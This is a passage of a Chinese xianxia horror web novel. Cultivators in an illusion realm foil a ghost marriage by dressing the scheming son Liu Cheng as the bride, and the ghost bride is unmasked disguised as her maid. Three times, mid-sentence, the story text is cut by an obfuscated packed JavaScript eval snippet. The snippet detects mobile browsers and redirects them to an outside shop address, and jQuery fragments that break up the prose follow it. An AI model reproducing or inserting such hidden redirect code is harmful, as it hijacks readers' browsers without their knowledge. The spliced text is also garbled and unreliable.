今日纪青与二人初次对战于擂台上时穿着差不多,一袭红衣,叠出领口一线白,红梅覆雪,凌厉逼人,背负长剑,马尾高高束起,脚踩一双黑色长拗靴,银线绣出麒麟图案,微微反映着光。 医修站到她身边,恰好与常潮生一左一右。 林见微顿觉自己左右被两片红云给包围了,便戳了戳常潮生的胳膊,笑着打趣,“你们俩怕不是商量好了,穿这么喜庆,都能直接拜堂了。” 常潮生冷冷睨她一眼,胳膊一转便错开那一双白玉般的手,不做理会。 “唉?你又不理人!”林见微撇撇嘴。 这人怎么跟旺财一个德性?一有点什么情绪就不理人,话也不知道好好说,脾气一上来还得她主动去哄! 渡舟缓缓停下。 大雾迷离。 眼前白茫茫一片,稍微隔了几步远便看不清人影。 众人下了船。 风一吹,林见微不住打了个寒颤,“阿嚏——” 揉揉鼻子,她这才注意到不远处有别的门派的修士赶来,一个个结伴投身入这迷离的白雾中,消失无踪。 而同行者也已分好队伍,相携进山。 “走吧,秘境就在这山上。”林戈抬手唤出法器将同行众人笼罩在一起,以免进入秘境时被传送到不同的地方,还颇为不放心看了她两眼,“入山之后随时都有可能进入秘境,你跟紧了。” “放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997134|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心!”林见微忙不迭点头,一边挽住纪青的胳膊,一边拉住常潮生的衣角,这才深深叹服于两人的先见之明,这大红的衣裳,多醒目! 深入其中。 白雾如潮水般涌过来,飘忽迷离。 林见微心底发毛,脚下踩着掉落的树枝与杂草,软趴趴的,只感觉浑身像是陷落进沼泽里。 倏然,手中一空。 ?! 不过眨眼的功夫,原本还被她抓在手里的两人已没了踪影! 红没了? 不对,红又出现了! 眼前,红烛摇曳,屋内光线晦暗,大红的“囍”字贴在墙上,梳妆台旁端端正正放着几个暗红色木质托盘,一片晦涩,阴森可怖。 铜镜中照出的,正是她的脸! 嫁衣华服,凤冠霞帔。 乌黑的长发被整整齐齐挽起,凤凰头面照在幽微烛火下,金灿灿的,那凤凰口中衔着珍珠,圆润且莹白的珠子垂在光洁的额头上,更显得镜中人玉面朱颜,姝色难掩。 “小姐,呜呜呜呜呜……”身侧传来一道幽幽的啜泣声,低回婉转,烛火烧灼灯芯,发出噗呲噗呲的声响,火光跳动,更显诡谲。 林见微硬着头皮循着声音向下看,便见一身材干瘦的侍女伏在她脚边抽泣,眼珠子不知被谁剜去,只留下两个黑洞洞的眼眶,仰起脸看她,惊得人头皮发麻。 空荡荡的眼眶中泣出血泪,沿着脸颊流淌出两条黏腻浓稠的血色水渍,落在她裙摆上,几乎要将她这一身大红的嫁衣濡湿。 “可怜小姐你年纪轻轻竟要嫁给一个死人!白白丢了性命啊!” “你先起来。”林见微定了定心神,面面色恢复如常,拽着侍女干瘦如柴的胳膊将人扶起来。 嘿嘿,稳了! 果然跟着林扶摇准没错!冥婚,中式恐怖,角色扮演,是她知道的剧情!这不就是拿着答案来做题吗? 与此同时,“新娘”的记忆也自动浮现在她脑海中—— 春闱拉开序幕,无数皓首穷经的学子赴京赶考,无不渴望登科及第,好光耀门楣,一朝跻身朝堂。 其中便有这刘府的大公子,刘诚。 但他偏偏是个庸才,在读书上实在没什么天分,刘家老爷便上下打点,花出去无数银钱找人托关系,才终于搭上了一个会试主考官,罗尚书。 恰巧。 尚书大人前段时日痛失独子,阖府上下哀恸不已,刘家老爷知晓那亡人生前尚未婚配,屋中连个通房侍妾也没有,又打听到尚书府有意给亡故的独子配一门阴婚,便收买了鬼媒人,偷偷合了家中庶女与那公子的八字。 八字相合,便忙不迭上门献殷勤。 这阴婚大都是死人与死人婚配,如今要枉害一条活生生的人命为亡人陪葬,实在是惊世骇俗,可尚书府草菅人命惯了,不以为耻,反以为荣,如此就将一门荒谬至极的婚事给定了下来。 “呜呜呜呜小姐,我们动作得快些,再过个把时辰,上了花轿,一切都来不及了!” 侍女还在抽泣,眼眶里血泪如注,林见微别开脸不敢看她黑洞洞的眼眶,下意识抬手轻轻拍着她的背安抚。 放在胸口的玉灵符微微震动,便听脑海中响起林戈焦急的声音。 “小妹,你在哪儿?” 她忙不迭在小队的“共同群聊”里回应,“我是被配阴婚的新娘,在屋子里待嫁,你在哪儿?” 林戈环顾四周,此时正是傍晚,天色擦黑,他与高定之都已换了一身装束,粗布麻衣,站在街头,周遭行人寥落,脚步声轻如鬼魅,也确实是鬼魅所化。 正前方,长街尽头影影绰绰立着一座白墙黑瓦的府邸,红绸高挂,囍字张扬,大红灯笼在檐下转啊转,“刘府”二字笼罩在薄薄的雾气里,灯火闪烁,鬼气森森。 而此时,记忆也已浮现。 “在街上,我是马上要去刘府观礼的宾客。”林戈言简意赅,说罢便与高定之一同直奔那被猩红雾气包围的府邸而去。 林见微默然,缓过神来,一转头,身边那侍女不知何时已停止了哭泣,黑洞洞的眼眶正死死盯着她,吓得她差点没叫出声。 33.换嫁?换! “咔哒——” 门边传来异响,林见微脊背绷紧,指尖暗暗积蓄起灵力,她可不想腹背受敌! “是我。”常潮生嗓音散漫,推开门,斜斜倚靠在门框上,挑眉看她,一身褐色短衫都掩不住斯人绝代风华,“我是刘府的家丁。” 乍见到熟悉的面孔,林见微顿时松口气,连忙撇下屋内的侍女奔向房门,果然见到院落里横七竖八已经躺了不少鬼尸,家丁、丫鬟和婆子,脑门上全都贴着符箓,黄纸朱砂,给这本就森森可怖的氛围又添上浓墨重彩的一笔。 “没事吧?” “没事。”林见微摇头,就是这一身红嫁衣上怨气极重,精致、华丽又糜.烂,隐隐有些压制她使用法术,尤其感觉脖子快被头上的金银朱钗给压断了。 “嗬嗬……小姐你快逃吧!”那侍女追出来,已是肝胆俱悚,比林见微这个当事人还惊惧不安,“去找袁公子,他定然会带你走的!到时候府中的人找不到你,便会让二小姐替你上花轿……” “你别再心软了,嗬,若不是主母在老爷身边煽风点火,又特意找人拿了你的八字去与那死人相看,嗬嗬,怎会害得你落到如今的境地!” 林见微大脑宕机,剧情它,来了! 常潮生抬手将一张符纸拍到那侍女额头上,将鬼尸定在原地,动弹不得,只有眼眶里咕嘟咕嘟向外留着血泪。 “袁公子是谁?” “二小姐又是谁?” 两道声音齐齐传来,林戈和高定之避开了前院四处游走的重重鬼尸,先后翻墙进了这后院,悄无声息落到地上。 “袁公子是新娘子私相授受的情郎,约好了要带她私奔。” 林见微扶额,正想接着解释,便听林扶摇的声音如珠玉落盘,从回廊另一侧传来,“二小姐是我。” 这下人都聚齐了。 院中鬼尸横呈,红灯笼被风一吹,烛影摇曳,在地上勾勒出好几道散乱颀长的影子,交杂错布,凌乱不堪。 几人进了屋,顺带将那被定住的侍女也拽了进来。 “这府邸上下鬼气森森,但你这院中的怨气最浓。”林戈目光扫过林见微那一身红嫁衣,微微蹙眉,“尤其你这一身衣裳,嫁衣不像嫁衣,寿衣不像寿衣。” “啊对对对!”林见微扶着头顶的凤冠连连点头,“新娘在娘家受尽磋磨,又以活人之身被一顶花轿抬入尚书府配给死人,怨气能不重吗?” “待会儿嫁过去,就要被尚书府那边请来的道士做法,割腕放血,然后挖了眼睛拔了舌头,再往七窍里灌铅,最后被直接钉死在棺材里……” 说到这儿她就浑身直冒鸡皮疙瘩,封.建陋习真是害死人啊! “快将衣服脱了。”常潮生上手便想去解她的衣带。 “等等等——”林见微连忙摁住他的手,语速飞快,“再过一个时辰便是午夜,迎亲的队伍该来了,无论如何这刘府中都要推出去一个新娘,花轿不抬到尚书府,无论我们怎么折腾,怕是都破不开这幻境。” 原剧情里,一行人便是直接带着“新娘”原主,和“备选新娘”林扶摇一起离开,躲了起来,谁知第二日天一亮,时间倒转,众人又回到了接亲前夕。 避不开,根本避不开。 “那便换个新娘。”林戈一锤定音,“鬼尸之间依靠血脉辨认身份,旁的人替嫁会被识破,小妹修为不高,扶摇,不如你去……” 林扶摇神色淡淡,并未表态,也让人摸不透她心底的想法。 “不可,我们入刘府时便见有众鬼夜巡,不好对付,若真是入了那尚书府,只怕更是龙潭虎穴,危机重重。”高定之忙站在林扶摇那边替她说话,一脸关切。 林戈正想开口反驳,林见微连忙打断,“哎等等!” 大脑又一次宕机。 剧情里可是原主要死要活非要抓住这次机会把林扶摇推出去,想趁机使坏,为此还不断哭诉“新娘”在这刘府中是如何受主母和嫡妹的磋磨,着实卖了一波惨。 现在,她这个恶毒女配弃演,把剧本撕了,林戈这个便宜哥哥反手把剧本拼好,还直接开始演起来了,华丽蜕变成恶毒男配? “怎么了?” “我有一个大胆地想法……”林见微弱弱举手,眼珠子骨碌一转,看向林扶摇,“这配阴婚一事,一开始不就是为了给刘家长子刘诚的仕途铺路……既如此,不如就让他自己去嫁吧。” “反正都是刘老爷的儿女,血脉相连,用个障眼法,这些鬼尸应当辨认不出来,只要上了花轿……总之,他是始作俑者,总不能光在这一桩婚事里捞好处,一点儿代价也不付出吧?” 话音落,满堂寂静。 倒是被众人遗忘在角落里的侍女面部肌肉抽搐抖动了一下,旋即又恢复如常。 “可以。”林扶摇点头。 “我就知道二姐你懂我!”林见微展颜一笑,笑得不怀好意。 若真是成功将那刘诚给打包嫁出去了,到时候尚书府那边让道士做法镇邪,开始“洞房花烛”,她都不敢想场面得多热闹! 林扶摇蓦然对上那双兴奋到眼冒绿光的鹿眼眸子,一时失笑,她这好运被找回来的“妹妹”还真是有一箩筐的奇思妙想,顾盼神飞的,天真又单纯。 本以为这人要动什么歪心思,趁机让自己替她穿上嫁衣,谁知,还不如动点歪心思,也免得他们去折腾一趟,只为满府找人,将刘诚给抓来。 “那走吧,去找刘诚。”林戈轻叹一口气,无奈扶额,不经意对上林扶摇的目光,便看到两眼无奈。 说罢,三人转身推门离开。 林见微忙提着厚重的裙摆跟到门口,心里却嘿嘿直乐,“你们快去快回啊!接亲的队伍马上就要来了!” 她倒是不担心这几人的安危,毕竟,剧情中便是林扶摇最终上了花轿,深入尚书府后被厉鬼围攻,然后挥剑大杀四方,与其余几人配合,愣是打穿了这个幻境,现在不过是找个人罢了。 这武力值,简直让她安心! 常潮生贴在她身后,十指骨感白皙,伸手帮她捞起曳地长裙,只摸得一手黏腻血腥,泣满了新娘满腹怨怼和不甘,久积成煞。 “你怎么不一起去?”林见微颇为不自在,摸了摸颈侧被呼吸喷洒到灼热的肌肤,泛起细密的鸡皮疙瘩。 “我若走了,你不害怕吗?” “别别别,你还是留下吧……”她忙拉住少年作势欲走的胳膊,眉眼一弯,顾盼神飞,“常家丁真是好大的胆子!夜闯本小姐的闺房,若是被旁人看到,肯定将你拖出去乱棍打死!” “小姐的闺房在下也不是第一次进了。”常潮生唇边勾起浅笑,旋即眸光一转,冷冷瞥向院墙拱门处。 林见微忙顺着他的视线望去,只望见小园雕花拱门后冒出一道鬼鬼祟祟的黑影,阴风一起,雾气迷离,腥红的灯笼火光将浓稠的模糊黑影投在惨白的墙上,溶进无边夜色中。 那男鬼尸一身书生打扮,难得的容貌俊秀,身姿爽朗清举,除了面色死白不像活人,乍一看与常人天异,急忙忙向她奔来,“锦娘,快快随我离开罢……” “袁公子?” 林见微一愣,未及反应,常潮生先一步拔剑贯穿了那男鬼胸口,手下催动法决,金色符文涌动,便听一道撕心裂肺的惨叫惊空遏云。 刹那间,鬼尸倒地抽搐,混身直冒黑气,皮肤仿佛被硫酸腐蚀一般,快速剥落成血淋淋的肉,紧接着脏器个个掉出来,好似被什么看不见的强悍力道凭空碾成碎末! 血腥且恶心。 而那凄厉的惨叫声终于渐渐平息。 林见微神色惊恐,霎时间白了脸色,一股钻心的寒意从脚底直窜头顶,炸得她头皮发麻,哆哆嗦嗦看向常潮生,仿佛见鬼一般,“你,你对他……” 杀鬼就杀鬼,怎么还虐.杀? 这人怕不是心理变态! 常潮生忙收了剑,攥紧她颤抖不止的手腕,闪身挡在少女眼前,隔开长廊石阶下那一地血肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028508|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 横流,“不是我!” 他再顾不上吃那一抹飞醋,神色慌张,着急解释,“我只捅了他一剑,不知他为何会……后面不是我做的。” 林见微勉强定了定心神,将信将疑,“真,真的?” 不待少年应声,阶前倏然阴风四起,呜呜咽咽,卷起满地埃尘与落叶,摧枯拉朽,送来一阵敲锣打鼓的乐声。 “花轿停在大门庭,拜别爹娘养育恩……” 既尖利又嘶哑的人声随风飘来,吹吹打打,两条排列整齐的队伍自浓雾后浮现,白色纸钱轻飘飘撒了漫天,半喜半丧,几个婆子身着红衣,神色狰狞,一脸横肉,脚步匆匆便飞速凑上前来,想要挟制住满头珠翠的新娘。 常潮生身形一闪,指尖轻拈数张符纸,飞快贴到众鬼额上,只见黄色符纸上朱砂噗簌簌燃起火,群鬼身形抖动抽搐,眼泛绿光,几乎就要挣开桎梏! “你这符纸好像不怎么管用啊,快多贴几张!”林见微扒着门框朝外看,好家伙,也是让她身临其境体验了一把僵尸围城? 院中本就横七竖八躺了一地鬼尸,现在又来了两列站岗的,面门上的符纸都盖不住那一双双凶光毕现瞳孔,死死盯着她,恨不能将她扒皮抽筋。 “别怕,救兵来了。”常潮生淡然收了手。 下一刻,果然见到方才离去的三人相携而归,林戈手里还拽着一具被法器绳索牢牢捆.绑的男子,一身华服,衣衫不整,嘴里被塞了布条,呜咽闷哼,狠狠瞪着周围几人,目眦欲裂。 “快脱了嫁衣给他换上!” “好。”林见微手脚麻利,三两下解开衣带,脱下外面一身大红的嫁衣,林戈和高定之也合力将刘诚的衣服扒了下来,再将女式喜服给他囫囵套上。 “快快快,把他头发也弄一弄。”林见微一把薅下顶在头上的凤冠,珠翠叮当,毛手毛脚中扯断几缕发丝,疼得她龇牙咧嘴。 “小心些。”常潮生蹙眉,扶正她发髻上的簪子,转头便将这凤凰头面安到一脸惊恐挣扎的刘诚头上。 林扶摇负剑而立,手持镇煞盘,周身金光缭绕,眉眼冷冽,震慑住院中蠢蠢欲动的鬼尸,那符纸烧灼的速度肉眼可见慢下来,阴风止息,只有几串艳红的灯笼转啊转,光影斑驳。 “小姐,盖上盖头,新娘……该出府去了。” 原本被应当被定在屋子里的侍女不知何时悄然端着托盘出现在林见微身后,贴在她额头上的符纸也不翼而飞,音色幽幽,呼吸喷洒间血腥气浓厚,空荡荡的眼眶冷然盯着她。 “我嘞个……”林见微吓得差点跳起来,急忙退开两步,便向常潮生飞去一个恼怒的眼神,什么破符纸,真是中看不中用! “盖头,快给他盖上。” 见侍女呆呆站着,并未有攻击的举动,说罢,她径直将叠放整齐的大红绣花盖头递给林戈,这才换上刘诚方才脱下来的外袍,施了个简单的易容术,霎时间改头换面。 林扶摇目光扫过来,看着两个大男人动作粗鲁凶狠地摁住另一个挣扎的男人,给人换装,实在是没眼看,便又别过头去,“好了吗?” “成了。” 林戈指尖弹出一道法诀,顿时,不断挣扎的鬼尸昏死过去,身材与相貌都变了个模样,被高定之扶着,嫁衣华服,盖头遮去了面容,乍一看倒真像是待嫁的新娘。 林扶摇见此不再压制那群蠢蠢欲动的鬼尸,符箓烧灼殆尽,它们便又窸窸窣窣动起来,诡异的鼓乐声断断续续响起,一阵盖过一阵。 “好了,尚书家该过来接亲了,还不快扶着你家小姐出去。” 林见微已是一身男装,压低嗓音,颇具家中长子的威严,侧开身,看向那依旧端着托盘的侍女,又抬手指了指站在高定之和林戈中间的“新娘子”,示意她快些动作。 侍女忙不迭点头,脸上血泪已干,泪痕斑驳,嘴唇殷红似血,将托盘毫不讲究一扔,快步上前,伸出一双被钉出血洞的手,十指扭曲如同鹰隼利爪,牢牢扶稳刘诚的胳膊。 34.鬼新娘现身 扶着他一步步跟随喜婆朝小院外走去。 “走,我们跟上去看看,喜宴还没开场呢!” 脱去了那一身压制她修为的喜服,林见微顿觉浑身松快不少,提了提宽大的腰带,抬步便欲跟上。 毕竟,花轿落地,拜堂成亲,洞房花烛,尚书府中的场景才是重头戏,他们进入这秘境,纪青一行人还在那边。 “走吧。”众人没有异议。 林戈甫一下石阶,只踩到脚下一片黏腻,眉头一皱,便看到一大滩厚厚的血渍,像血又不完全是血,仿佛还有皮肉和骨头碎末,简直死相可怖! “这血是哪儿来的?” “啊?”林见微脚步一顿,目光飞快扫过常潮生,只能硬着头皮回答,“是袁公子,的尸骨……” 林戈还想开口再细问,他可不想在小妹身边放一个心思深沉,还手段如此狠辣变态的人! “走吧,他也并非良人,是被新娘所杀。”林扶摇眸光淡淡,已踏出了院子。 前方,众人簇拥着一袭嫁衣的刘诚上了轿子,纸钱漫天飞,敲锣打鼓,唢呐声在这寂寂的夜里高亢冷厉,直听得人心里发毛。 林见微一听她这话便知其中有瓜,忙不迭快步追上去,“唉?什么意思?阿姐你是不是知道些什么?袁公子怎么了?” “他早已被刘家主母用钱财收买,今夜来带新娘出逃不过是想杀人诛心,二人逃不出院墙便会被府中家丁擒住。” “啧啧,还是个渣男!”林见微义愤填膺。 这“新娘”也真是惨,孤苦无依,受尽磋磨,唯一有这么个心上人,还识人不清,跟这么一个败类私相授受,渴望他能带自己逃出生天。 林扶摇闻言轻笑一声,“我还以为你会怪刘府主母和家中嫡妹心狠手辣。” “这……”林见微一顿,旋即笑笑,“她们的确有错,但整件事受益最大的不还是男人嘛,若事成,刘诚加官进爵,刘老爷便能倚仗他当官的儿子继续作威作福,欺男霸女,袁书生也拿到了钱财,改善生活。” “他们的日子过得这么爽,吸着女人的血名利双收,还要作壁上观,看她们在内宅里斗相互争斗戕害,这未免太不公平了。” 说着话,一行人已踏着萧萧肃肃的迷离冷风来到府邸门前,越过正院前两大缸惨白又妖冶的莲花,大红花轿停在门口,鬼影绰绰,声乐四起。 倏然。 人声四静—— 众鬼嘴角咧开成诡异的巨大弧度,空洞洞的眼神齐齐望向来者,林见微正偏头跟林扶摇说着话,常潮生忙抬手捂住她的嘴。 她连忙噤声,默默扒下常潮生的手。 “媒妁之言,父母之命,如如在前,父母在后,敬备薄礼,以谢高堂——” 媒婆发髻上簪着一朵红花,昳丽似血,那沙哑刺耳的声音又响起,尾音尖且长,直拖着那调子在众人耳畔摩擦,蹭起了层层鸡皮疙瘩。 林见微仔细瞧着,只见府邸门前大雾迷离,灯笼光线昏黄,一顶华丽的花轿停在门口,艳红似血,怨气森森。 “新娘上轿——” 侍女扶着刘诚步步上前,裙摆曳地,那从头至尾的艳红嫁衣几乎如潮水般要将人溺毙,终于—— “新娘”如溺水的人,骤然清醒过来! “不!我不是!” 他尖叫出声,极力想甩开侍女的手,头上顶着的红盖头流苏摇晃,整个人却被牢牢摁住,一步步被半架半拖走到花轿前。 “放开本少爷!贱.婢,反了你的天了!”刘诚发了狠,抬脚便将侍女踹倒在地。 林见微身姿矫健,冲上去便是一脚,趁他还没反应过来便将人踹倒在花轿前,又环视周遭仆从,叉腰斥道,飞扬跋扈,“看什么看!还不快将新娘子扶上轿,耽误了良辰吉时,当心你们这一身皮!” 说罢,她戏瘾上来,没忘朝站在一旁送亲的刘府老爷和刘家主母打招呼,对着那两个鬼尸,学着记忆里刘诚的语气唤了声爹娘,装得惟妙惟肖。 众鬼听到大少爷发号施令,瑟缩一下,连忙七手八脚将新娘子囫囵往花轿里塞,常潮生还上来搭了把手,一脚踢上新娘的胸口将人踹进了轿子里面。 轿帘放下,便如有封印一般,死死将鬼物压制在其中,刘诚挣扎不脱,还被林戈补了一道法诀,彻底闭了嘴。 抹了一把额头上并不存在的汗,林见微长舒一口气。 嘿嘿,刘诚上了轿子,稳啦! 常潮生侧头看她,无奈笑了笑。 大抵是她学艺不精,易容术也粗糙得很,脸上还能看出几分原本的神韵,身材也变幻不到位,一身沉金色男装,外袍宽大,衣摆拖到地上,仿佛偷穿大人衣服的小孩儿。 因鬼尸都如行走的尸体,神智昏沉,她身上又穿着的刘诚的袍子,沾染了“刘府大少爷”的气息,一时之间丝毫没有被刘氏夫妻二鬼觉察。 送亲的队伍吹吹打打上街,八人抬着那红满翠盖的龙凤轿,四角上垂挂着丝穗,一走一晃,旗锣伞扇,鞭炮恸鸣。 高定之不知何时又摇起了他那一把扇子,笑着调侃,“林二姑娘还真是身姿矫健,勇武不凡啊。” “也没见你来帮帮忙。”林见微翻了个白眼,撇下那跟NPC差不多的刘氏夫妻便捞起衣摆,又屁颠屁颠跟上那一队已经飘远了的接亲鬼尸。 唢呐声声,大喜大悲。 扶着“新娘”上轿的侍女步步紧跟在花轿旁,朱红的唇瓣上染上丝丝血色,身影飘忽,绰绰影影,林见微一行人也紧追其后。 直奔尚书府。 眼瞧着离府邸越来越近,便觉阴风阵阵,那大开的府门里闪着朦胧红光,昏昧不明,门口站着两排鬼尸,白色的绸缎随风飘荡,卷起散落的纸钱。 大红花轿停下,帘子尚未掀开。 有仆从端着托盘上来,木质托盘里摆着红烛和铜镜,媒婆连忙招呼林见微这个新娘家的大哥上前来“搜轿”,好驱除藏匿在轿子中的冤鬼。 左右身后跟着两个大佬,她也不怵,便轻啧一声,燃起那红烛,手持铜镜,由媒婆掀起轿帘,朝那轿子里一照—— 新娘神色癫狂狰狞,状似恶鬼,猛然向外扑来! 林见微侧身一躲,他飞快便被府门口两排鬼尸摁在地上,又因林戈的禁言咒,一句话也说不出,被强拖着跨过火盆和马鞍,一路进了正堂。 堂中宾客攘攘,众鬼尸衣着各异,挤在一起,面上神情呆滞,直到瞧见新娘身上那一抹诡谲似血的红,顿时眼冒绿光,狰狞可怖。 林见微一行人也与被传送进入这幻境的同伴会和。 “别乱跑。”常潮生抓住她的手腕,脊背紧绷似满弦的弓,“此地怨气太盛。” “放心放心。”林见微连连点头。 目光扫过,堂中央停着一口漆黑的棺材,棺椁半开,而站在棺材旁边的是一个手持桃木剑的黑袍道长。 那鬼尸衣着整齐,袍子上绣着诡异符文,火光跳动下似在流动一般,腰系玉带,刻着复杂的经文,白须长髯,头发梳得一丝不苟,被一支木簪束起,难得的面目正常,神色平静。 就,有种一看就是大BOSS的感觉。 “一拜天地,二拜高堂——” 这尖利的声音一响起,众鬼四散避让,林见微这几个外来者也纷纷退至一旁,眼见着大堂中央,新娘盖着盖头,流苏乱晃,肩背和胳膊被斑驳染血的绳子牢牢捆住,绳结扣死,越挣越紧。 两个身强力壮,一看便煞气冲天的鬼尸一左一右架着他,愣生生与一只大红的公鸡走完了拜堂仪式。 “送入洞房——” 话音落,众鬼霎时间兴奋起来,四肢扭曲成诡异的弧度,口中桀桀怪笑,蜂拥而上,簇拥着新娘扑到黑漆漆的棺椁旁。 黑袍老道士道骨仙风,举起桃木剑,一剑刺穿刘诚胸口,紧接着,取来匕首,便要挖眼拔舌,众鬼配合着,直往他七窍中灌水银,就是为了避免被配阴婚的新娘积怨成煞,找回来复仇。 近旁的鬼尸一个两个手举铁锤和铁钉,棺椁半开,露出其中一身喜服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037676|147461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却早已闭气的新郎。 众鬼推推嚷嚷,笑声尖利刺耳,一把将刘诚掀翻进棺椁中,他此时七窍流血,狼狈不堪,还想挣扎,一双手死死扒着棺椁边缘不肯松开,便被旁边的鬼一钉子钉穿手掌,铁钉拔出,血流如注,汩汩没入大红的嫁衣中。 恰此时,躺在棺椁中的新郎倏然睁开眼,皮肤上还泛着淡淡的尸斑,死死抱住压在自己身上的新娘,一侧身便想翻身将他压在身下,又被刘诚疯狂挣脱开。 “啊啊啊——唔唔——” 刘诚口吐血沫,因被拔了舌头,只能发出模糊的音节,在万鬼包围下垂死挣扎,目眦欲裂,一双空荡荡的血红色眼眶狠狠瞪着林见微。 她只觉一阵头皮发麻,忙别开目光,便瞥见蜂拥成群的众鬼尸之外萧萧肃肃立着一抹干瘦的人影,眼眶空洞,便那么站着,看群鬼狂舞,作壁上观。 是那个侍女! 刹那间,她脑中闪回一幕幕画面—— 快速挤开人群朝那侍女跑去。 “唉,你别乱跑!” 常潮生一惊,呼吸乱了一拍,还没来得及追着她去,刹那间,被半困于棺椁中的刘诚一把扯开衣领,嫁衣半褪,钗环和凤冠早不知被甩到了哪个角落,周身怨气暴涨,面目扭曲狰狞,嘶吼一声,冲破那一层易容术,一把掀开了黑沉沉的棺材板。 “嘭——咔嚓——” 漆黑木板摔烂成两段,那棺椁近前的黑袍道长一惊,因这熟悉的气息将他认了出来,顿时变了脸色,众鬼停滞一瞬,却见刘诚四肢并用,恶煞冲天,活脱脱一副厉鬼模样,朝站在角落里看戏的众人飞快扑过去—— 紧接着,堂中怨气沸腾,鬼尸们反应过来,齐齐向林戈一行人发难。 林见微身上揣着许多防御型法器,倒也不怕,直奔向那侍女,对方却转身跑向大堂之外。 刘诚身上还挂着那一身艳红的嫁衣,恨极了林见微,直直朝她背影袭去,却先一步被小队的人拦下来,林戈瞧着她跑远了的背影,狠狠一咬牙,刚一剑挥开飞身迫近的黑袍道长,顿时又重新被缠上。 真是难杀! 鬼尸们围成一圈,截断了众人出路,这堂中怨气沸腾,鬼气滔天,一行人被团团包围,受鬼气压制,常潮生试了几次,次次都无法突围成功。 终于—— 林扶摇剑光一闪,似流星飒踏,破开一条通路,快速抽身而出,直追着林见微的方向去。 出了大堂,正是午夜,今夜无月,尚书府中一片昏黑,厅殿楼阁峥嵘轩峻,树石相掩,漆黑黑一丛,微弱的绰绰灯光飘忽不定,风声呜呜,阴冷渗人。 “见微!” “二姐,我在这儿!我们追上她!” 林见微一边跑一边回应,头也不敢回,生怕把人追丢了,还没忘胡乱扯下碍事的长袍,紧紧追着那侍女,直到与林扶摇两人合力将她堵在一处小院的墙角。 “你追她做什么?”林扶摇手中掐诀,顿时指尖符箓噗嗤燃起明亮火光,照得周遭一圈景物纤毫毕现,单手挑起一个剑花,剑锋直指对面的女鬼。 “她,她不是新娘的侍女,她就是原本的新娘!”林见微喘匀了气,身边有林扶摇这么一个超强战力输出在,顿时腰杆都挺直了。 无论是刘府还是尚书府,府中鬼尸众多,死相也凄惨,却唯这侍女一人死相特殊。 被剜去双眼,脸上留下两个黑洞洞的眼眶,说话时,每每句子长了,便发出嗬嗬声响,应当是被人拔了舌头,后来靠一身鬼力滋养疗伤,才勉强恢复了些说话的能力,就连手掌也被铁钉残忍钉穿,血洞中可见森森白骨。 如此种种,显然就是今夜新娘子的死相! 加上之前,她轻易便挣脱了常潮生贴在额头上的符箓,愣是避开了众人耳目,悄无声息出现在她身后来送红盖头…… 实力也不俗。 “是吗。”林扶摇闻言眸光闪烁,手中剑意更凛冽,杀气腾腾。 林见微乖乖站到她身后,连连点头,“是她是她就是她。” 35.坠入深海 “两位仙子何必如此对待奴家?”那女鬼也不着急,仰起一张脸直对上二人审视的目光,身条柔顺,语气缓缓,“明明是诸位先闯入了奴家的地盘……” 林见微闻言撇撇嘴,“那也不是我们想进来的……” “行了。”林扶摇蹙眉,“冤有头债有主,你早将这二府众人屠杀,何须怨气不散,牵累无辜?” “牵累无辜?”那女鬼顿时变了脸色,“深宅磋磨,阴婚嫁娶,世道如此,这世上何来无辜之人!” “谁欺负你你便直接报复回去啊,冲到他们面前骂他们一通,打他们一顿啊!”林见微一回想脑海中这女鬼的记忆,顿觉恨铁不成钢,急得她都想自己冲进去替她们重拳出击。 “世道的确对女子苛刻,受族亲打压,名声规训,那便更该坚强自立,你立起来他们才不敢随随便便踩你一脚。可你之前一碰上事便处处退让,守在房中以泪洗面,不敢豁出去,怕失了体面,还要靠贴身侍女去帮你争,帮你抢,帮你吵架!” 林见微双手叉腰,气成了河豚。 她算是明白鬼新娘为何会幻化作贴身侍女了。 这原本的侍女心思机敏又脾气火爆,胆子大,受了欺负便一定要报复回去,嗓门大,便如恶犬一般,吵架时骂荤话更是口无遮拦,上了年纪的婆子都能被她骂得面红耳赤。 用世俗的眼光看,是妥妥的泼妇,疯女人,但也正是她的疯,她的勇,让主仆二人在吃人的深宅中少受了许多苦。 甚至连趁夜逃婚与人私奔这种事,都是侍女鼓动她,说逃出去可能会过清贫日子受苦,但逃不出去就没命了。 好死不如赖活着,更何况进了尚书府还要死得凄惨。 侍女还计划着,先逃出今晚上的死局,再放弃什么狗屁名声,大肆宣扬男女二人情深似海,爱得惊天动地,要死要活,大户人家的小姐心甘情愿与穷书生私奔,倒贴下嫁,从此洗手做羹汤…… 